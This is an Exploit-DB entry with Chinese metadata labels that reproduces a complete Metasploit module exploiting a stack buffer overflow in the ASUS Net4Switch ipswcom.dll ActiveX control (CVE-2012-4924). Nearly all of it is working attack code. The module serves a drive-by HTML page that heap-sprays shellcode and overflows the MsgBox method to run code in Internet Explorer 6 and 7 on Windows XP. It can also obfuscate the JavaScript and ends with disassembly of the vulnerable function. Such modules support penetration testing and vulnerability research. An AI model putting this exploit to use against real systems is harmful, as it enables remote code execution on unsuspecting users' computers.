标题: ASUS Net4Switch - 'ipswcom.dll' ActiveX Stack Buffer Overflow (Metasploit) EDB-ID: 18538 CVE: 2012-4924 类型: REMOTE 平台: WINDOWS 发布日期: 2012-02-29 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info={})
  super(update_info(info,
   'Name'           => "ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow",
   'Description'    => %q{
     This module exploits a vulnerability found in ASUS Net4Switch's ipswcom.dll
    ActiveX control.  A buffer overflow condition is possible in multiple places all
    because of the poor use of the CxDbgPrint() function, which allows remote attackers
    to gain arbitrary code execution under the context of the user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Dmitriy Evdokimov', #Initial discovery, poc
     'sinn3r'             #Metasploit
    ],
   'References'     =>
    [
     [ 'OSVDB', 'http://osvdb.org/show/osvdb/79438' ],
     [ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=417' ]
    ],
   'Payload'        =>
    {
     'BadChars'        => "\x00",
     'StackAdjustment' => -3500,
    },
   'DefaultOptions'  =>
    {
     'ExitFunction'         => "seh",
     'InitialAutoRunScript' => 'migrate -f',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', {} ],
     [ 'IE 6 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ],
     [ 'IE 7 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Feb 17 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
   ], self.class)
 end

 def get_target(agent)
  return target if target.name != 'Automatic'

  if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
   return targets[1]  #IE 6 on Windows XP SP3
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
   return targets[2]  #IE 7 on Windows XP SP3
  else
   return nil
  end
 end

 def on_request_uri(cli, request)
  agent = request.headers['User-Agent']
  my_target = get_target(agent)

  if my_target.nil?
   print_error("Browser not supported: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
   send_not_found(cli)
   return
  end

  p = payload.encoded
  js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
  nops = Rex::Text.to_unescape(make_nops(4))

  spray = <<-JS
  var heap_obj = new heapLib.ie(0x20000);
  var code = unescape("#{js_code}");
  var nops = unescape("#{nops}");

  while (nops.length < 0x80000) nops += nops;
  var offset = nops.substring(0, #{my_target['Offset']});
  var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

  while (shellcode.length < 0x40000) shellcode += shellcode;
  var block = shellcode.substring(0, (0x80000-6)/2);

  heap_obj.gc();

  for (var i=1; i < 0x300; i++) {
   heap_obj.alloc(block);
  }
  JS

  spray = heaplib(spray, {:noobfu => true})

  js = <<-JS
  var obj = new ActiveXObject("ipswcom.IPSWComItf");

  #{spray}

  function generate_padding(d, s) {
   var tmp = d;
   while (tmp.length < s) {
    tmp += tmp;
   }
   var buf = tmp.substring(0, s/2);
   tmp = null;
   return buf;
  }

  var arg1 = generate_padding(unescape("%u4141"), 4);

  var arg2 = "A"; // Expands to 0x0041, helps us to align the stack
  arg2 += generate_padding(unescape("%u4343"), 2680);
  arg2 += unescape("%u4242%u4242");
  arg2 += unescape("%u0d0d%u0d0d");
  arg2 += generate_padding(unescape("%u0d0d"), #{my_target['Max']}-arg2.length);

  obj.MsgBox(arg1, arg2, 2);
  JS

  #obfuscate on demand
  if datastore['OBFUSCATE']
   js = ::Rex::Exploitation::JSObfu.new(js)
   js.obfuscate
  end

  html = <<-EOS
  <html>
  <head>
  </head>
  <body>
  <script>
  #{js}
  </script>
  </body>
  </html>
  EOS

  html = html.gsub(/\t\t/, '')

  print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
  send_response(cli, html, {'Content-Type'=>'text/html'})

 end

end

=begin
Download:
http://www.softpedia.com/progDownload/ASUS-Net4Switch-Download-203619.html

clsid:1B9E86D8-7CAF-46C8-9938-569B21E17A8E
C:\Program Files\ASUS\Net4Switch\ipswcom.dll

.text:10030523                 push    ecx
.text:10030524                 mov     eax, [ebp+arg_C]
.text:10030527                 mov     [ebp+var_4], eax
.text:1003052A                 cmp     [ebp+var_4], 0
.text:1003052E                 jz      short loc_10030541  <-- uType 10h
.text:10030530                 cmp     [ebp+var_4], 1
.text:10030534                 jz      short loc_10030573  <-- uType 44h
.text:10030536                 cmp     [ebp+var_4], 2
.text:1003053A                 jz      short loc_100305A5  <-- CxDbgPrint
...
.text:100305A5 loc_100305A5:                           ; CODE XREF: MsgBox+1Aj
.text:100305A5                 mov     eax, [ebp+lpText]
.text:100305A8                 push    eax
.text:100305A9                 push    offset aIpsw_alertS ; "[IPSW_alert] = %s"
.text:100305AE                 push    0FFh
.text:100305B3                 call    ds:CxDbgPrint
=end URL: https://www.exploit-db.com/exploits/18538